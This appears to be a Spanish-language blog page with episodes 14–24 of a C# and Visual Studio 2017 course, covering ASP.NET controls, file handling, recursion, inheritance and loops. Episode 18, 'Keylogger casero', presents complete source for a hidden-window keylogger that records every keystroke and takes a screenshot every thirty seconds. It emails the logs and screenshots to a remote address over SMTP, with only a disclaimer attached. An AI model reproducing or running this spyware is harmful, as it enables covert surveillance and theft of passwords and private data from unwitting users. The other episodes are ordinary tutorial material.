Pop

24.Aplicaciones web.ImageButton,Image.Curso de C# con Visual Studio 2017.

  24- . Aplicaciones web. ImageButton,Image

   - En este capítulo del curso de programación en c# con visual studio 2017,vamos a ver dos controles de uso común en muchas de las páginas web que utilizamos habitualmente. Estos controles son el ImageButton y el el elemento Image.Vamos con algunos datos sobre ellos:
  •  El control Image nos permite mostra imagenes en el navegador y cambiar algunas de sus propiedades en tiempo de ejecucción modificando sus propiedades en el fichero.cs asociado al fichero aspx correspondiente.Por ejemplo puedes especificar mediante programación el archivo de gráficos asociado para un control Image en tiempo de diseño o en tiempo de ejecución. También puede enlazar la propiedad ImageUrl del control a un origen de datos.
  •  El control ImageButton nos permite una funcionalidad similar a la del control Button pero con la posibilidad de añadir una imagen.El control muestra una imagen y responde a los clics del mouse en la imagen.

- En el video os muestro algunas de las propiedades de estos dos controles y como es posible modificarlas en tiempo de diseño y en tiempo de ejeccución.


-  Como acostumbro os dejo un par de enlaces a la MSDN donde tenéis algio más de información sobre estos dos controles:


- También os dejo el código mostrado en el ejemplo:
  • Código de la parte cliente:
<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="EjemploImagen.aspx.cs" Inherits="HolaMundo.EjemploImagen" %>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
    <title></title>
</head>
<body>
    <form id="form1" runat="server">
        <div>
            <asp:Image ID="Image1" runat="server"  ImageUrl="~/menu.png"/><br /><br />
            <asp:ImageButton ID="ImageButton1" runat="server" OnClick="ImageButton1_Click" />
        </div>
    </form>
</body>
</html>

  • Código de la parte de servidor:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;

namespace HolaMundo
{
    public partial class EjemploImagen : System.Web.UI.Page
    {
        protected void Page_Load(object sender, EventArgs e)
        {
            ImageButton1.ImageUrl = "~/binary-code-475664_1920.jpg";
            ImageButton1.Width = 100;
            ImageButton1.Height = 50;

        }

        protected void ImageButton1_Click(object sender, ImageClickEventArgs e)
        {
            Image1.Width = 100;
            Image1.Height = 100;
            Image1.AlternateText = "BRI BLI BLI BLI";
           

        }
    }




23.Aplicaciones web.Hiperlink y LinkButton.Curso de C# con Visual Studio 2017.

  23- . Aplicaciones web. Hyperlink y LinkButton

    - En este capítulo del curso de programación en c# con visual studio 2017,vamos a ver dos controles de uso común en muchas de las páginas web que utilizamos habitualmente. Estos controles son los Hyperlink y los LinkButton.Se utilizan para poder navegar entre páginas.Los típicos enlaces que redireccionan a otras web o a otras páginas que estan alojadas en la misma web.Vamos con algunas datos de estos dos controles:


  • El LinkButton se representa como un hipervínculo en la página peorcontiene un script del lado cliente que hace que el formulario se devuelva al servidor. 
  • El click del  LinkButton  se desncadena cuando se hace clic en el control.
  •  La principal ventaja de utilizar un control HyperLink es que permite establecer las propiedades de los vínculos en el código del servidor. Por ejemplo, puede cambiar dinámicamente el texto del vínculo o la página de destino basándose en las condiciones de la página.

- En el video os muestro  como utilizar estos dos controles para crear enlaces que permitan navegar entre páginas del mismo proyecto o como ir  a páginas que se encuentran fuera del proyecto.Os explico como cambiar algunas de las propiedades de estos controles tanto en la parte de diseño como en tiempo de ejecución.



- Estos dos controles tienen bastantes más propiedades que las mostradas en el video.Os dejo enlaces a la MSDN de microsofot donde podéis completar información sobre estos dos controles:


 Tambíén os dejo el cófdigo tanto de la parte cliente como de la parte de servidor:

  • Código de la página aspx:
 <%@ Page Language="C#" AutoEventWireup="true" CodeBehind="WebFormHolaMundo.aspx.cs" Inherits="HolaMundo.WebFormHolaMundo" %>

<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <title></title>
</head>
<body>
    <form id="form1" runat="server">
        <div>

            <table style="width: 100%;">
                <tr>
                    <td >
                        <asp:RadioButton ID="rdunradio" runat="server" Text="Único" />
                        <asp:RadioButtonList ID="RadioButtonList1" runat="server" OnSelectedIndexChanged="RadioButtonList1_SelectedIndexChanged" AutoPostBack="true">
                            <asp:ListItem Value="1">Elemento1</asp:ListItem>
                            <asp:ListItem Value="2">Elemento2</asp:ListItem>
                            <asp:ListItem Value="3">Elemento3</asp:ListItem>
                        </asp:RadioButtonList>

                    </td>
                    <td>
                        <asp:HyperLink ID="linkUno" runat="server" NavigateUrl="~/WebForm2.aspx">HyperLink</asp:HyperLink>
                    </td>
                </tr>
                <tr>

                    <td>
                        <asp:CheckBoxList ID="CheckBoxList1" runat="server"></asp:CheckBoxList>

                        <asp:CheckBox ID="CheckBox1" runat="server" />

                    <td>

                        <asp:LinkButton ID="linkDos" runat="server" BackColor="Yellow" Enabled="false" OnClick="linkDos_Click">LinkButton</asp:LinkButton>

                    </td>
               
                </tr>


                <tr>
                    <td colspan="2">
                        <asp:Button ID="btnMiBoton" runat="server" Text="Button" OnClick="btnMiBoton_Click" />


                    </td>
                </tr>
            </table>
        </div>
    </form>
</body>
</html>

  • Codigo de la parte del .cs:
 using System;
using System.Collections.Generic;
using System.Drawing;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;

namespace HolaMundo
{
    public partial class WebFormHolaMundo : System.Web.UI.Page
    {
        protected void Page_Load(object sender, EventArgs e)
        {
            linkUno.Text = "Vamos al google";
            linkUno.NavigateUrl = "https://www.google.es";

            linkDos.Enabled = true;
            linkDos.BackColor = Color.Red;
            linkDos.Text = "HOLA";
        }

        protected void btnMiBoton_Click(object sender, EventArgs e)
        {
            CheckBox1.Text = "No cliques";

            for(int i=0; i<6; i++)
            {
                ListItem x = new ListItem(i.ToString(), i.ToString());
                CheckBoxList1.Items.Add(x);
            }
            rdunradio.Visible = false;
            RadioButtonList1.Visible = false;
        }

        protected void RadioButtonList1_SelectedIndexChanged(object sender, EventArgs e)
        {
           if( RadioButtonList1.SelectedItem.Value=="1")
            rdunradio.Enabled = false;
           else
                rdunradio.Enabled = true;
        }

        protected void linkDos_Click(object sender, EventArgs e)
        {
            linkUno.NavigateUrl = "http://cursoprogramacioncsharptutoriales.blogspot.com.es/";
            linkUno.Text = "Mi blog"; ;
        }
    }
}





22.Aplicaciones web.RadioButton y CheckBox.Curso de C# con Visual Studio 2017.

  22- . Aplicaciones web. RadioButtonList, CheckBoxList, RadioButton y CheckBox

    - En este capítulo del curso de programación en c# con visual studio 2017,vamos a ver cuatro controles de uso común en muchas de las páginas web que utilizamos habitualmente. Estos controles son los RadioButtonList, CheckBoxList, RadioButton y CheckBox:

  •  Los controles RadioButton presentan al usuario una opción que puede ser seleccionada o  no.
  •  Los controles CheckBox presentan al usuario una opción que puede ser seleccionada o  no.
  •  Los controles RadioButtonList presentan al usuario un conjunto de dos o más opciones excluyentes entre sí. Aunque puede parecer que los botones de radio y los CheckBoxList funcionan de forma parecida, existe una diferencia importante: cuando un usuario selecciona un botón de radio, no puede seleccionar ninguno de los otros botones de radio del mismo grupo sin perder la selección de este botón.
  •  Los CheckBoxList como he comentado anteriormente permiten seleccionar varios opciones a diferencia de los RadioButtonList.

  - En el vídeo os muestro unos ejemplos sobre como usar estos controles.En el caso del RadioButtonList cargo los datos en la parte de de diseño y en el CheckBoxList los cargo en tiempo de de ejecución. También muestro algunas de las múltiples propeidades y eventos que tienen estos controles:



- Como siempre suelo hacer es dejo unos enlaces a la MSDN de Microsofot donde tenéis más detalles de estos controles: 


-  Además os dejo el código de los archivos cliente y servidor: 


  • Pagina cliente.

<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="WebFormHolaMundo.aspx.cs" Inherits="HolaMundo.WebFormHolaMundo" %>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
    <title></title>
</head>
<body>
    <form id="form1" runat="server">
        <div>
       
         <table style="width: 100%;">
            <tr>
               <td>
             <asp:RadioButton ID="rdunradio" runat="server" Text="Único" />
            <asp:RadioButtonList ID="RadioButtonList1" runat="server" OnSelectedIndexChanged="RadioButtonList1_SelectedIndexChanged" AutoPostBack="true">
               <asp:ListItem Value="1">Elemento1</asp:ListItem>
              <asp:ListItem Value="2">Elemento2</asp:ListItem>
              <asp:ListItem Value="3">Elemento3</asp:ListItem>
                   </asp:RadioButtonList>
                           </td>
           </tr>
             <asp:CheckBox ID="CheckBox1" runat="server" />
             <asp:CheckBoxList ID="CheckBoxList1" runat="server"></asp:CheckBoxList>
     
            <tr>
                <td>  <asp:Button ID="btnMiBoton" runat="server" Text="Button" OnClick="btnMiBoton_Click" />
                 
                 
                </td>
            </tr>
        </table>
     </div>
     </form>
</body>
</html>


  • Código servidor:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;

namespace HolaMundo
{
    public partial class WebFormHolaMundo : System.Web.UI.Page
    {
        protected void Page_Load(object sender, EventArgs e)
        {
        
        }

        protected void btnMiBoton_Click(object sender, EventArgs e)
        {
            CheckBox1.Text = "No cliques";

            for(int i=0; i<6; i++)
            {
                ListItem x = new ListItem(i.ToString(), i.ToString());
                CheckBoxList1.Items.Add(x);
            }
            rdunradio.Visible = false;
            RadioButtonList1.Visible = false;
        }

        protected void RadioButtonList1_SelectedIndexChanged(object sender, EventArgs e)
        {
           if( RadioButtonList1.SelectedItem.Value=="1")
            rdunradio.Enabled = false;
           else
                rdunradio.Enabled = true;
        }
    }
}

21.Aplicaciones web.DropDownlist y ListBox.Curso de C# con Visual Studio 2017.

  21- . Aplicaciones web. DropDownlist y ListBox.

    - En este capítulo del curso de programación en c# con visual studio 2017,vamos a ver dos controles de uso común en muchas de las páginas web que utilizamos habitualmente.Hablo de los controles DropDownList y el control ListBox:

  1.  El control  DropDownList de servidor Web permite a los usuarios seleccionar un elemento de una lista predefinida. Se diferencia del control ListBox de servidor Web en que la lista de elementos permanece oculta hasta que los usuarios hacen clic en el botón desplegable.El control DropDownList  no admite el modo de selección múltiple. En realidad, el control DropDownList  es un contenedor para los elementos de lista de tipo ListItem. Cada objeto  ListItem constituye un objeto independiente con sus propiedades específicas.

20.Aplicaciones web.TextBox y Button..Curso de C# con Visual Studio 2017.

  20- . Aplicaciones web. TextBox y Button.

   - En este capítulo del curso de programación en c# con visual studio 2017,vamos a ver dos controles de uso común en muchas de las páginas web que utilizamos habitualmente.Me refiero a el control TextBox y el control Button.

   - Pero antes de ver el vídeo donde muestro el funcionamiento básico de estos dos controles, quiero que sepamos lo que es el ciclo de vida de una página. Cuando se ejecuta una página ASP.NET, ésta recorre un ciclo de vida en el que realiza una serie de pasos de procesamiento. Entre ellos se incluyen la inicialización, la creación de controles, la restauración y el mantenimiento del estado, la ejecución del código del controlador de eventos y la presentación. Es importante conocer el ciclo de vida de la página para escribir código en la fase del ciclo de vida apropiada y conseguir que la página se comporte como nosotros queramos.

   - Si queréis ver una información más detalladas os dejo el enlace a la MSDN de Microsoft: https://msdn.microsoft.com/es-es/library/ms178472(v=vs.100).aspx


- En el video dejo unas nociones básicas para el uso de TextBox y de un botón(Button). Estos dos controles tienen muchas más propiedades. Cuando veamos ejemplos más complejos profundizaremos más en el uso de estos controles, pero estas pinceladas que os dejo el vide nos sirven para saber como se pueden usar.

- Tenéis información más detallada de estos dos controles en estos enlaces:
  1. TextBox: https://msdn.microsoft.com/es-es/library/system.web.ui.webcontrols.textbox(v=vs.110).aspx
  2.  Button:https://msdn.microsoft.com/es-es/library/system.web.ui.webcontrols.button_properties(v=vs.110).aspx

19.Aplicaciones web. Introducción.Curso de C# con Visual Studio 2017

 19- . Aplicaciones web. Introducción

  - En este capítulo del curso de programación en c# con visual studio 2017,vamos a empezar a ver lo que son las aplicaciones web. Para ello crearemos nuestra primera aplicación web en Visual Studio. Este tipo de aplicaciones suelen utilizar la arquitectura cliente/servidor.

 -  Esta arquitectura consiste básicamente en un cliente que realiza peticiones a otro programa (el servidor) que le da respuesta. Aunque esta idea se puede aplicar a programas que se ejecutan sobre una sola computadora es más ventajosa en un sistema operativo multiusuario distribuido a través de una red de computadoras. La interacción cliente-servidor es el soporte de la mayor parte de la comunicación por redes. 



- Una vez que sabemos la arquitectura sobre la que se basan las aplicaciones web vamos a crearnos un primer programa sencillo donde agregaremos el componente Label en el que mostraremos un texto en el navegador.


- En el video también vemos brevemente que cualquier sitio web hecho con visual studio debe tener asociado un archivo de configuración en que se pueden establecer propiedades de configuración cómunes para todo el site. Tenéis más informacion sobre los web.config en https://msdn.microsoft.com/es-es/library/ff400235(v=vs.100).aspx

18.Keylogger casero.Curso de C# con Visual Studio 2017.

 18- . Keylogger casero

  - En este capítulo del curso de programación en c# con visual studio 2017, nos crearemos una nueva  aplicación de consola donde veremos como crear un keylogger casero.Este keylogger está hecho unicamente con fines didácticos.

-   Este será el último capítulo donde utilizaremos las aplicaciones de consola, en los siguentes empezaremos con las aplicaciones web, por eso quería mostraros como hacer algo más potente que lo visto hasta ahora. Quizás no entenderéis todo el código pero creo que la idea sobre lo que tiene que hacer el programa si os quedará clara.

- Para los que no sepáis lo que es un un  Keylogger os dejo la siguiente definición :

 “Un Keylogger es un pequeño programa diseñado para capturar todas las pulsaciones que son realizadas por un teclado, para guardarlas en un registro que puede verse luego en un ordenador local, o puede ser enviado con rapidez y seguridad a través de Internet a un equipo remoto

- En el ejemplo que muestro en el video además de capturar las pulsaciones de teclado, me he entretenido en capturar la pantalla cada treinta segundos.Además de esto he implementado un método para mandar por correo las capturas hechas.En el video explico el código:



 - Para entender el código del programa es necesario que sepáis como llamar a dlls del sistema.Os dejo un ejemplo sobre como indicarle al programa que queremos utilizar un método de la dll   user32.dll:

          [DllImport("user32.dll")]
          public static extern int GetAsyncKeyState(Int32 i);


- Para una información más detallada de como referenciar estos métodos de dll externas os dejo este enlace: https://docs.microsoft.com/es-es/dotnet/csharp/language-reference/keywords/extern

-También es necesario conocerse el  código ASCII que utiliza 7 bits (2 elevado a 7 ) para representar los caracteres.Os dejo una tabla con los códigos ASCII:


Cada número representa una letra. Esta tabla de códigos Ascii es en lo que nos basamos para traducir cada pulsación que se corresponde con un número a su letra.


 - Os dejo el código de la aplicación, aunque antes me eximo de cualquier responsabilidad sobre el uso que le deis a este software:
  
  • Disclaimer: Utilizar un keylogger en equipos ajenos constituye un delito, lo que puede acarrear penas por la ley. Utilízalo solo para fines educativos y en computadoras propias. No me responsabilizo del mal uso que otras personas le puedan dar. 


class Program
{

   [DllImport("user32.dll")]
   public static extern int GetAsyncKeyState(Int32 i);
   [DllImport("user32.dll")]
   private extern static int ShowWindow(System.IntPtr hWnd, int nCmdShow);
   [DllImport("user32.dll")]
   private static extern short GetAsyncKeyState(Keys teclas);
   [DllImport("user32.dll")]
   private static extern short GetKeyState(Keys teclas);
   [DllImport("user32.dll")]
   private static extern short GetKeyState(Int32 teclas);

   DateTime lastRun = DateTime.Now.AddSeconds(-30);

    static void Main(string[] args)
   {

   ShowWindow(Process.GetCurrentProcess().MainWindowHandle, 0);
   guardarPulsacion();
   }

    static void guardarPulsacion()
   {

      DateTime ultimaEjecucion = DateTime.Now.AddSeconds(-1);
      while (true)
     {
         try
        {
            Thread.Sleep(50);
            for (Int32 i = 0; i < 255; i++)
            {
               int tecla = GetAsyncKeyState(i);
               if (tecla == 1 || tecla == -32767)
               {
                   StreamWriter sw = new StreamWriter(Application.StartupPath + @"\XXX.txt", true);

                   if (Convert.ToBoolean(GetAsyncKeyState(Keys.ControlKey)) &&            Convert.ToBoolean(GetKeyState(Keys.D1)) sw.Write("|");
                 else if (Convert.ToBoolean(GetAsyncKeyState(Keys.ControlKey)) && Convert.ToBoolean(GetKeyState(Keys.D2)) sw.Write("@");
                 else if (Convert.ToBoolean(GetAsyncKeyState(Keys.ControlKey)) && Convert.ToBoolean(GetKeyState(Keys.D3)) sw.Write("#");
                 else if (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)) && Convert.ToBoolean(GetKeyState(Keys.D4)))sw.Write("$");
                 else if (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)) && Convert.ToBoolean(GetKeyState(Keys.D5)))sw.Write("%");
                 else if (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)) && Convert.ToBoolean(GetKeyState(Keys.D6)))sw.Write("&");
                 else if (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)) && Convert.ToBoolean(GetKeyState(Keys.D7)))sw.Write("(");
                else if (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)) && Convert.ToBoolean(GetKeyState(Keys.D8)))sw.Write(")");
                else if (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)) && Convert.ToBoolean(GetKeyState(Keys.D9)))sw.Write(")");
               else if (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)) && Convert.ToBoolean(GetKeyState(Keys.D0)))sw.Write("=");
              else if (Keys.OemPeriod.Equals((Keys)i))sw.Write(".");
              else if (Keys.Back.Equals((Keys)i))sw.Write("");
              else if (Keys.Space.Equals((Keys)i))sw.Write(" ");
              else if (Keys.D0.Equals((Keys)i) || Keys.NumPad0.Equals((Keys)i))sw.Write("0");
              else if (Keys.D1.Equals((Keys)i) || Keys.NumPad1.Equals((Keys)i))sw.Write("1");
              else if (Keys.D2.Equals((Keys)i) || Keys.NumPad2.Equals((Keys)i))sw.Write("2");
              else if (Keys.D3.Equals((Keys)i) || Keys.NumPad3.Equals((Keys)i))sw.Write("3");
              else if (Keys.D4.Equals((Keys)i) || Keys.NumPad4.Equals((Keys)i))sw.Write("4");
              else if (Keys.D5.Equals((Keys)i) || Keys.NumPad5.Equals((Keys)i))sw.Write("5");
              else if (Keys.D6.Equals((Keys)i) || Keys.NumPad6.Equals((Keys)i))sw.Write("6");
              else if (Keys.D7.Equals((Keys)i) || Keys.NumPad7.Equals((Keys)i))sw.Write("7");
              else if (Keys.D8.Equals((Keys)i) || Keys.NumPad8.Equals((Keys)i))sw.Write("8");
              else if (Keys.D9.Equals((Keys)i) || Keys.NumPad9.Equals((Keys)i))sw.Write("9");
              else if (Keys.LButton.Equals((Keys)i) || Keys.MButton.Equals((Keys)i)) { }//no escribe
              else
             { //letras
                    if (i >= 65 && i <= 122)
                    {
                         if (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)) &&              Convert.ToBoolean(GetKeyState(Keys.CapsLock)))
                        sw.Write(Convert.ToChar(i + 32).ToString());//MINUSCULA
                        else if (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey))) //Mayuscula
                        sw.Write(Convert.ToChar(i).ToString());
                        else if (Convert.ToBoolean(GetAsyncKeyState(Keys.CapsLock)))//Mayuscula
                        sw.Write(Convert.ToChar(i).ToString());
                        else sw.Write(Convert.ToChar(i + 32).ToString());//MINUSCULA
                      }
              }
       sw.Close();
          }
      }
           if(DateTime.Now>ultimaEjecucion)
           {
             string fecha = DateTime.Now.ToString("h:mm:ss tt");
             string nombrefinal = fecha.Trim().Replace(":","_");
             pantallazo(nombrefinal);
             ultimaEjecucion = DateTime.Now.AddSeconds(30);
             //mandarPorFTP(nombrefinal);
             //mandarPorFTP("XXX.txt");
             EnviarEmail(Application.StartupPath + @"\"+nombrefinal, Application.StartupPath +   @"\XXX.txt");
              new FileInfo(nombrefinal).Delete();
            }
    }
    catch (Exception ex) { }
  }
}

    static void pantallazo(string nombre)
    {
       int ancho = Screen.GetBounds(new Point(0, 0)).Width;
      int alto = Screen.GetBounds(new Point(0, 0)).Height;

     Bitmap p = new Bitmap(ancho, alto);
     Graphics grafico = Graphics.FromImage((Image)p);
     grafico.CopyFromScreen(0, 0, 0, 0, new Size(ancho, alto));
     p.Save(nombre, ImageFormat.Jpeg);
   }

    static bool EnviarEmail(string adjunto1,string adjunto2)
    {
    MailMessage msg = new MailMessage();
    msg.To.Add("alguncorreo@gmail.com");
    msg.From = new MailAddress("alguncorreo@hotmail.com", "XXX",   System.Text.Encoding.UTF8);
     msg.Subject = "KeyLogger";
     msg.SubjectEncoding = System.Text.Encoding.UTF8;
     Attachment item = new Attachment(adjunto1);
     Attachment item2 = new Attachment(adjunto2);
     msg.Attachments.Add(item);
     msg.Attachments.Add(item2);
     msg.BodyEncoding = System.Text.Encoding.UTF8;
     SmtpClient client = new SmtpClient();
     client.UseDefaultCredentials=false;
     client.Credentials = new System.Net.NetworkCredential("alguncorreo@hotmail.com", "PASS");
     client.Port = 587;
     client.Host = "smtp.live.com";
     client.EnableSsl = true; //SSL
      try
     {
       client.Send(msg);
      }

      catch (Exception ex)
       {
       return false;
       }

         return true;
    }

}  

17.Ficheros.Curso de C# con Visual Studio 2017.

 17- . Leer escribir ficheros

- En este capítulo del curso de programación en c# con visual studio 2017, nos crearemos una nueva  aplicación de consola donde veremos como leer,escribir y borrar ficheros.

- Para ello utilizararemos la clase File (perteneciente al using System.IO )que proporciona métodos estáticos para crear, copiar, eliminar, mover y abrir archivos.También utilizamos las clases StreamWriter para  añadir contenido al crear el fichero y la clase StreamReader para poder leer el contenido de un fichero:




 Os pongo el código del ejemplo:

        static void Main(string[] args)
        {

             //CREAR BORRAR FICHERO
             File.Create("D:\\Prueba.txt");
             File.Delete("D:\\Prueba2.txt");


             //USO StreamWriter
            StreamWriter sw = new StreamWriter("D:\\Prueba2.txt",true);
            for (int i = 0; i < 100; i++)
                sw.WriteLine("Linea:" + i.ToString());
            sw.Close();
            sw.Dispose();

           //USO StreamReader
           StreamReader sr = new StreamReader("D:\\Prueba2.txt");
            while (sr.Peek() >= 0)
            {
                Console.WriteLine(sr.ReadLine());
            }
            sr.Close();
            sr.Dispose();
            Console.ReadLine();

        }    



 Os dejo unos enlaces para completar la información de lo ya visto en el video:
  1. Documentación más completa de la clase File en: https://msdn.microsoft.com/es-es/library/system.io.file(v=vs.110).aspx
  2. Más datos sobre la clase StreamWriter en :https://msdn.microsoft.com/es-es/library/system.io.streamwriter(v=vs.110).aspx
  3.  Más datos sobre la clase StreamReader en: https://msdn.microsoft.com/es-es/library/system.io.streamreader(v=vs.110).aspx

16.Recursividad.Curso de C# con Visual Studio 2017.

 16- . Recursividad

- En este capítulo del curso de programación en c# con visual studio 2017, nos crearemos una nueva clase en la aplicación de consola donde veremos los primerso conceptos sobre recursividad.

-La recursividad no es una estructura de datos, sino que es una técnica de programación que nos permite que un bloque de instrucciones se ejecute n veces. Remplaza en ocasiones a estructuras iterativas. En el video de hoy añadimos una nueva clase donde mostraremos un ejemplo de recursividad.
- Calcularemos de manera recursiva el factorial de un número. Por ejemplo el factorial de 5 es igual a multiplicar 5*4*3*2*1=120. En el video muestro el ejemplo.


- En programación web se suele utilizar bastante para  recorrer estrucuturas de tipo arbol. El componenente denominado TreeView.

- Os dejo el código recursivo que calcula el factorial de un número. Al principio cuesta de entender pero con la practica se acaba comprendiendo:

    class Factorial
    {

        public int calculoFactorial(int fact)
        {
            if (fact > 0)
            {
                int valor = fact * calculoFactorial(fact -1);
                return valor;
            }
            else { return 1; }
        }
    }

15.Herencia.Curso de C# con Visual Studio 2017.

 15- . Herencia

- En este capítulo del curso de programación en c# con visual studio 2017, nos crearemos una nueva aplicación de consola donde veremos los primerso conceptos sobre herencia.

-La herencia se utiliza para reutilizar la funcionalidad de una clase existente y se puede extender al crear una nueva clase que se deriva de ella. La clase derivada hereda las propiedades de la clase base y es posible agregar o reemplazar métodos y propiedades según sea necesario .Como veís en la imagen las clases Hijo3 e Hijo1 heredan de Padre por lo tanto puede utilizar metodos y propiedades de la clase Padre que esten definidas como public o protected, a su vez Nieto hereda de Hijo1 por lo tanto también hereda de Padre:

-

 - La sintaxis para inidicar la herencia es la siguiente→ Hijo1:Padre. Le estamos indicando que la clase Hijo1 hereda de Padre.

 - En el video también os muestro como las clase hijo pueden tener acceso a objetos y miembros de la clase padre.


* Más información sobre herencia aqui.

14.Foreach.Curso de C# con Visual Studio 2017.

 14- . Foreach

- En este capítulo del curso de programación en c# con visual studio 2017, nos crearemos una nueva aplicación de consola donde mostraremos el uso del bucle foreach. Para mostrar la utilidad de este tipo de bucle, la aplicación calculará los números primos  que existen entre 0 y un valor que el usuario introduzca por pantalla (un número primo es aquel número que solo es divisible por si mismo y por la unidad).

- La instrucción foreach se usa para recorrer  colecciones (arraylist,listas,arrays... ) para obtener la
información que tienen los objetos de estas listas. Es idónea para recorrer este tipo de objetos si no sabemos el número de elementos que tienen.Pero no puede usarse para agregar o quitar elementos de la colección de origen para evitar efectos secundarios imprevisibles.


- En el video también os muestro el uso de un nuevo operador. Me refiero al %. El operador % calcula el resto después de dividir el primer operando por el segundo. Por ejemplo, el resultado de dividir 7 entre 5 es 1 pero el resto es 2, el operador % nos daría el valor 2 (7%5 = 2).

 - Os dejo el código de la aplicación explicada en el capítulo 14 del curso:

 class Program
    {

        //Un número primo es aquel número que solo es divisible por si mismo y por la unidad.
        //Por convención se asume que el número 1 es también primo.
        //Los 100000 primeros números primos los podéis Aqui
        //2 3   5   7   11   13   17   19   23   29   31   37   41   43   47   53   59   61   67   71 73  79  83  89

        static void Main(string[] args)
        {
            int numero = -1;
            ArrayList almacenNumeroPrimos = new ArrayList();
            String mostrarPantalla = String.Empty;
            Console.WriteLine("Obtenemos todos los números primos entre 0 y....");
            Console.WriteLine("Dime el número");
            numero = Convert.ToInt32(Console.ReadLine());

            Console.WriteLine("Los números primos que hay hasta el numero " + numero.ToString()+ " son:");
            for (int i = 2; i <= numero; i++)
                if (esNumeroPrimo(i))
                    almacenNumeroPrimos.Add(i);

            foreach (int numPrimo in almacenNumeroPrimos)
                mostrarPantalla += " " + numPrimo.ToString();

            Console.WriteLine(mostrarPantalla);
            Console.ReadLine();
        }


        public static Boolean esNumeroPrimo(int numero)
        {
            Boolean esPrimo = true;
            int contador = 2;

            while ((esPrimo) && (contador!=numero))
            {
                if (numero % contador == 0)
                    esPrimo = false;

                contador++;
            }

            return esPrimo;
        }
 }

- Si queréis completar la información os dejo un par de enlaces con más datos:

Foreach: https://docs.microsoft.com/es-es/dotnet/csharp/language-reference/keywords/foreach-in
Operadores en c#:  https://docs.microsoft.com/es-es/dotnet/csharp/language-reference/operators/



Curso .NET Core en C# - 34.Creamos nuestro propio log

34.Creamos nuestro propio log Hola a todos. En este curso, analizaremos todos los conceptos básicos, intermedios y avanzados de  ASP.NET...